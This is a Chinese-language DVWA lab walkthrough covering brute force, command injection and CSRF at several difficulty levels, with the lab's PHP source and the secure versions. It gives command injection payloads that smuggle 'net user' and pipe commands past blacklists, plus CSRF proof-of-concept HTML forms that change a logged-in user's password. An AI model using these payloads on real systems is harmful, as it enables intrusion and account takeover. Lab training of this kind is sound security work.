文章目录
1.Brute Force
参考文献:
作者:TOPKK7
链接:https://www.jianshu.com/p/3cc15f6b4fec
1.1、原理解析
通过对已知管理员用户名(或密码),对其登录口令(或登录用户)进行大量的尝试,从而得到真实电话IE用户名和密码。
常见暴力破解有三种形式:
-
- 固定账号对密码暴力破解。
- 2)固定密码对其账号暴力破解。
-
- 在得知账号具有规律性,或者通过某种方式获取到大量账号的前提下,固定密码对账号暴力破解。
-
- 使用网上流传的账号密码库进行撞库攻击。
1.2、闯关攻略
(1)、使用burpsuite抓靶场的包,我们可以固定用户名为admin,然后对密码进行爆破。
(2)、将包发送到intruder,选中payloads,载入字典,然后点击start attack进行爆破。
2.Command Injection
2.1、原理解析
参考文献:
作者:今宵孤枕冷难眠
链接:https://www.jianshu.com/p/907032c20ad5
Command Injection,即命令注入攻击,是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。在命令注入的漏洞中,最为常见的是PHP的命令注入。
PHP命令注入攻击存在的主要原因是Web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。例如,当黑客提交的数据内容为向网站目录写入PHP文件时,就可以通过该命令注入攻击漏洞写入一个PHP后门文件,进而实施下一步渗透攻击。
2.2、闯关攻略
2.2.1、low
源码赏析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
//确定操作系统并执行ping命令。
/*stristr(A,B) 函数搜索字符串B在另一字符串A中的第一次出现的位置
php_uname — 返回运行 PHP 的系统的有关信息
*/
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
语法:stristr(string,search,before_search)
stristr() 函数搜索字符串在另一字符串中的第一次出现。
注释:该函数是二进制安全的。
注释:该函数是不区分大小写的。如需进行区分大小写的搜索,请使用 strstr() 函数。
参数 | 描述 |
---|---|
string | 必需。规定被搜索的字符串。 |
search | 必需。规定要搜索的字符串。如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符。 |
before_search | 可选。默认值为 “false” 的布尔值。如果设置为 “true”,它将返回 search 参数第一次出现之前的字符串部分。 |
开始闯关
输入:
127.0.0.1&&net user
2.2.2、medium
源码赏析-过滤管道符&&和;
语法:str_replace(find,replace,string,count)
str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。
该函数必须遵循下列规则:
- 如果搜索的字符串是数组,那么它将返回数组。
- 如果搜索的字符串是数组,那么它将对数组中的每个元素进行查找和替换。
- 如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
- 如果查找的是数组,而替换的是字符串,那么替代字符串将对所有查找到的值起作用。
注释:该函数区分大小写。请使用 str_ireplace() 函数执行不区分大小写的搜索。
注释:该函数是二进制安全的。
参数 | 描述 |
---|---|
find | 必需。规定要查找的值。 |
replace | 必需。规定替换 find 中的值的值。 |
string | 必需。规定被搜索的字符串。 |
count | 可选。对替换数进行计数的变量。 |
开始闯关
方法一:使用&
可以看到这里把"&&“和”;“替换成了”";所以这里可以用&
注意的是”&&”与” &”的区别:
Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
输入
127.0.0.1 & net user
方法二:双写绕过
输入
127.0.0.1 &;& net user
2.2.3、high-过滤多个
可以看到上面的黑名单基本是十分完善了,但是’| '这后面有个空格…这是故意留的后门吧…
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。
闯关攻略
输入
1|chdir
2.2.4、impossiable
源码解析
从源码我么可以发现,这里由于最开始就是要求我们输入ip,因此这里经输入的内容以“.”(点)划分为了4部分,然后再判断每一步部分是否是数字,如果是,再进行重新拼接组成一个完整的ip,再执行相关命令。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
3.CSRF
参考文献:
https://blog.csdn.net/dz919908651/article/details/81866619
3.1、原理解析
参考文献:
DVWA练习之CSRF
DVWA 黑客攻防演练(十四)CSRF 攻击 Cross Site Request Forgery
CSRF跨站点请求伪造(Cross—Site Request Forgery),通过伪装成受信任的用户请求受信任的网站。
跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:
攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。 如下:其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。
CSRF攻击过程的特点:
- 目标用户已经登录了网站,能够执行网站的功能;
- 目标用户访问了攻击者构造的URL。
举例说明:
受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。
.
黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行:http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。
.
这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码: src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”,并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。
.
大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。
.
等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。
3.2、闯关攻略
3.2.1、low
源码赏析
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
/*isset检查变量是否已经设置;is_object检查变量是否是一个对象;
mysqli_real_escape_string对SQL中特殊的字符进行转义*/
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
开始闯关
(1)、输入数据,点击change,然后抓包,发送到repeater。
把密码改为自己的密码。
可以发现,密码已经被修改了。
漏洞利用:
(1)、正常修改密码,发现为get请求,链接如下:
http://192.168.10.208:8081/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=2e6a337cae09609318043059fad72a61#
用户点击后,会直接修改密码。
(2)、构造页面:构造一个虚假的点击进入页面
如下,我们构造的post请求。
<html>
<body>
<from action="http://192.168.10.208:8081/DVWA-master/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password"/>
<input type="hidden" name="password_conf" value="password"/>
<input type="hidden" name="Change" value="Change"/>
<input type="submit" value="美女图片"/>
</from>
</body>
</html>
其url为 http://192.168.10.208:8081/csrftest.html
点击后效果如下图,当用户点击后,我们可以发现用户密码修改成功。
下面的是我在另外一个博主上看见的方法,为get请求。当用户把鼠标放在这个标签上就有可能会出现请求内容,隐蔽性没有post的好。
另外学到了Bp在csrf中的强大用法,在任何的url,HTTP请求上,
右键>>Engagement tools>Generate CSRF PoC,其会自动生成一个POC。
另外bp的scanner模块还能对Csrf漏洞进行检测。
3.2、medium(校验referer)
相较与low,这个在前面加了stripos函数,函数stripos(A,B)的功能是检查A中是否含有B(不区分大小写),若有返回ture,若没有则返回false。
Medium等级在判断$pass_new == $pass_conf之前还检查了保留变量HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,即要访问的主机名)。 如下图,上面是HTTP_REFERER,下面是SERVER_NAME。
过滤规则是http包请求头的Referer参数的值中必须包含主机域名,因此仅需在referer中包含主机域名即可,因此我们将文件命名为127.0.0.1.php或者127.0.0.1.html即可绕过此关。
再次我们将攻击页面命名为127.0.0.1.html(页面被放置在攻击者的服务器里)就可以绕过了,页面代码如下;
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
document.getElementsByTagName("form")[0].submit()
</script>
<form action="http://127.0.0.1:8081/DVWA-master/vulnerabilities/csrf/?" method="GET">
<h1>Click Me</h1>
<input type="text" name="password_new" value="hacker">
<input type="text" name="password_conf" value="hacker">
<input type="submit" value="Change" name="Change">
</form>
</body>
</html>
页面如下:
PS:浏览器必须处于登录状态以上请求才有效哦! 原因:DVWA不支持未授权访问,因此请求DVWA的所有页面如果 未登录,会直接跳转到登录界面。只有登录之后服务器才会处理用户的相关请求!
3.3.、high
可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。可以利用High级别的XSS漏洞协助获取Anti-CSRF token。
3.4、impossiable
和高级相比,不可能级别会要求检查原密码,就算有 XSS 漏洞也要知道原密码才能修改,而且代码中用了 $db->prepare 的写法防止 SQL 的注入。这样安全多了。
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match or current password incorrect.</pre>";
}
}